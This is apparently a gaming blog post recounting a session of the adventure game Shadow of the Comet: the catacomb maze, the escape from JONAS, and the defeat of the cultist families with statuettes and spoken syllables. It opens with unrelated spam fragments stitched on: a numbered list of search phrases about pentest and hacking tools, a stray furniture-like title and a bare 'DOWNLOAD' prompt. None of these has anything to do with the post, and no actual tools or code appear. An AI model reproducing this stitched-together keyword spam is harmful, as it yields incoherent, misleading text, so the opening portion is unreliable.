12. Pentest Tools For Windows
13. Pentest Tools Open Source
14. Hacking Tools For Pc
15. Hacking Tools 2020
16. Hacking Tools Mac
17. Hacker Tools Online
18. Hacker Tools Free
19. Pentest Tools Github
20. Pentest Tools List
21. Best Hacking Tools 2019

Nikadema Gold & Pink Livingroom

DOWNLOAD

Shadow Of The Comet – Social Calls

Written by limbeck

It took me several sessions to finish Shadow of the comet and you will probably understand it from this post (Edit: and the next one. I had to split the post in two). This last part of the game was much more action-adventurey than I could take, so some pauses to calm down were required. Despite that, the game reached an adequate conclusion, featuring quite a few of the Cthulhu Mythos regulars. But on to the story.

I had left the previous session at the start of the catacombs in JONAS HAMBLETON's tomb. The catacombs turned out to be an obstacle course maze. And it is not a small one. For its first part I have to collect two skulls and place them on top of two pillars to open a gate to the inner chambers. Meanwhile, I have to dodge rats and bats, avoid pits that I don't even know they exist and step around quicksand.

And enjoy grotesque statues that play no role whatsoever

The maze is full of closed gates that I have to open. Some open by stepping on a pressure plate in another room, preferably with scurrying rats. Others require to light all the tiles on the floor, by stepping on them in sequence (stepping on them flips some on or off).

There was a particular room with a barred door, a niche on the wall and a too lively looking snake sculpture on the north wall. The bars open when I place a statue in the niche. There is a similar room on the other side. Again the bars open when you place a statue. I do so. The bars open and I drop in a pit. I had picked up the statues from a third room. All three of these rooms led to the same one, but the ones to the east and west only led me to my death if I lifted the bars. I just had to exchange positions of the two statues in the south room.

Simpler than it looked

The final puzzle in the maze involved a room with three gold plates on the walls and an altar. If you read the plates, they spelled the message: Three times around the earth the sun will turn. That is a weird riddle and I do not have anything to interact with. I can only walk around aimlessly. Apparently what I needed to do was to walk three times around the altar in the middle and the gate opens.

After that room, I walk east and north and I meet JONAS! He rambles about his power and Cthulhu and threatens me.

Previously he said I have disturbed his sleep. I am like that in some mornings

While he rambles, I switch to running mode. If I wait too long, he transforms to a white abomination and murders me. As you can see from the screenshot above, there are four statues next to him. I need these to stop the unholy families in Illsmouth. So, as soon as I can, I pick them up and run the hell out of there.

Escaping JONAS was more of a chore than one would expect. As soon as I entered a new room, I had to move immediately towards the exit. I could not afford mistakes, because the door I entered from would be blocked by the White Worm almost immediately. There were some shortcuts that circled around him, but I could not think clearly enough. I barely had 1-2 seconds to move. Considering that the keyboard controls for movement can be unresponsive at times, it was a high blood pressure escape. Meticulously mapping the maze helped A LOT, but even then I did not have time to look at it for more than half a second. In the end I had my partner guide me like a WRC co-driver. After I reach the entrance to the catacombs, I climbed my rope like crazy, while the Worm just flailed futilely at the air.

At the time I was at about 150 pulses a minute

At the exit, a couple of helpful hands drew me out of the hole. They belonged to WALTER and his mother. If you remember, WALTER was the youth that was bullied by the HAMBLETONS and we saved, only to have him run away with our tripod the first night. He is kind enough to return it though.

Ms WEBSTER is the keeper of the cemetery and she takes me in her cottage, where she tells me the story of JONAS's wake. One of the windows in the mansion was open to an otherworldly realm, full of steles and strange geography I presume. There was also a sign on the floor, which shone even after WILBUR put a sheet over it. WALTER managed to make a drawing of the sign, which we search for in the house, after I deliver some exposition of my own to the lady. After some more pixel hunting, I find the drawing of the sign behind a painting.

I tell her there are 4 families in Illsmouth, which plan to bring the unspeakable Ancient Ones (or Great Old Ones) back to Earth. When prompted, I select the option of ARLINGTON (the Mayor), HAMBLETON (barring CURTIS), COLDSTONE (the old guy with velvety threats), TYLER (clearly insane lighthouse keeper). I need to place the statuettes I grabbed from the crypt on the sign in the house of each of them.

Sometimes, the game offers hints if you are not too busy taking screenshots

My notebook informs me that at the bases of the statues are engraved three-letter syllables that may be used to build spells. I can put some of these in order to create some of the known Ancient ones, such as NYA RLA THO TEP, HAS TUR, etc., but they do not all match. We'll have to see.

I am now ready to head out and deliver justice. Before I go, I am warned by Ms WEBSTER to leave JONAS's house for last. That would be the abandoned mansion I have seen in my wanderings in Illsmouth.

I choose to go to TYLER's house first. He comes to meet me from behind the bushes, but I use the first statue on him and speak the first row of syllables. It seems that I just had to speak them in the order I have them in my notebook. I keep feeling this puzzle could have added a bit more complexity, but I don't complain. When I speak the words, TYLER starts some magic and throws something bubbly and golden at me, but I dodge it and walk towards the sign that is drawn at this doorstep. When I step on it, TYLER vapourises and JONAS starts panicking on his throne.

Who you gonna call?

Next is the mayor, as his house is closest. I cannot get in the house, so I walk around and try to look for secret entrances, only to find out that I had missed a location. There is a barn to the west of the house and there is where Mayor ARLINGTON is waiting for me with his trash talk. Second statue and second row of syllables seem to be doing their work. His sign is at the top of the barn. I try to climb to it, but he turns into a dragon and I'm dead. After a few tries, I succeed. I just had to use the statue again on the sign. This is enough for ARLINGTON to die with several tentacles coming out of his torso. Next please.

COLDSTONE is also living alone, so I head there. I say the words for him and wait to see what horrible sorcery he will use at me.

It was the old Winchester ritual

Long story short, I reload and walk up to the sign and use the statue. Another one down and it is the HAMBLETONS' turn. On my way to the mansion, I pass by MYER's store, where a kitty is waiting for me. I use the rotten fish I had collected earlier from that very location and the cat comes to me. I now have a pet moving along my inventory.

Programmers having fun with animals

When I arrive at the mansion, the HAMBLETON boys beat me to death with a two-by-four. I have to find another way. I walk to the other house that has HAMBLETON written on the doorbell. There is a dog that used to bark at me any time I went close. This time it does not, which is weird, but convenient. I use the cat on him and he goes crazy. The HAMBLETONS hear all the barking and assume I am there. Which is correct. So I start running and make a loop to get to JONAS's mansion, which I can now enter without problem.

In the entry hall, I pick up a lantern and a compass card. In the silliest way possible, I die when a net falls on me and traps me like tuna. I use the compass card at the back of the room, where the net usually traps me and I turn a rudder wheel to open a door to the right. I call it luck or just random clicking. The next room has a hole covered by a bear hide. I promptly fall to my death, probably in a pit full of snakes, spiders and scorpions. Another trap has me parting with my head if I look in the fireplace. This goes against the rule of adventure games I play, which is to look around first and then do anything that might kill you. Here, looking around kills you.

There is one more death trap in this room (that I could find).

On the mantelpiece is a lantern, so I suppose I should put the lantern I stole from downstairs on the other side. I do so and it pulls a bookcase aside to reveal another passage.

I arrive to what I assume is the study of JONAS and now of WILBUR. This time, when I look around, I actually get a book called "Magic rites". It describes a ritual of the worshippers of "He Who Howls in the night" (aka Yog Sothoth). It says his symbol is the comet butterfly (JUGG had a butterfly collection, so I should pay a visit). Four colours are mentioned, red, white, blue and green. I can project these colours to different materials with the help of a camera obscura equipped with a lantern, which would help the "operator" to locate the secret positions of ritual talismans on sacred monoliths. So, the Being can be called by the "operator" when all talismans are in place and the ritual formula is spoken. Plot twist: you can use the same to banish the Being from the celestial sphere. I see directions for a puzzle here, so I dutifully note these down.

I also pick up a handle, which I use on the base of the telescope and have three sticks rise from the floor. I pull one of them and I die. I pull another one and a ball falls on my hands from the lamp above. Mystery. I walk towards the map or picture of planets and place the ball there... to open another secret passage.

I should be now at the top of the mansion. There is a pedestal in the middle of a pentagram and I can see outside through a hole in the wall. I use the final statue and syllables and WILBUR and spawn arrive through the walls. I try to run away but they catch me and I die by knife to the neck. Many times. A frustratingly number of times.

Maybe we can discuss politely? We don't really need all those knives, do we?

The other times I had a blinking sign to walk to and use the statue. This time I had no... well. Maybe I did have one. I am standing on one just before I am sacrificed. So I try to use the statue again and it works. Now, after the three HAMBLETONS turn into a flying polyp or something, I have to run like hell to get out of the house. I fail a few times due to the awful controls and the unforgiving time limit I am given, but in the end I get out. Where I faint.

At least I had it better than JONAS

I wake up in my room, with Dr COBBLE asking for explanations of why I was at JONAS's mansion last night. I say something vague about the good of the community and he believes me, because he had examined the body of ARLINGTON with all the extra appendages. He also warns me that Sgt. BAGGS will be looking form me and give me a message from Mr UNDERHOUSE. Apparently, he has made some important discovery and I must go there ASAP.

Well, this is getting longer than I planned, so I may as well stop here and have a proper Won! Post next time. Curse my verbosity.

Session time: 2:30
Total time: 10:10

Sanity lost: 8 from seeing and being chased by JONAS, 12 from the various deaths I caused (3 each)
Total sanity lost: 37 (My fingers are wax. They will burn, but I will have light with me always!)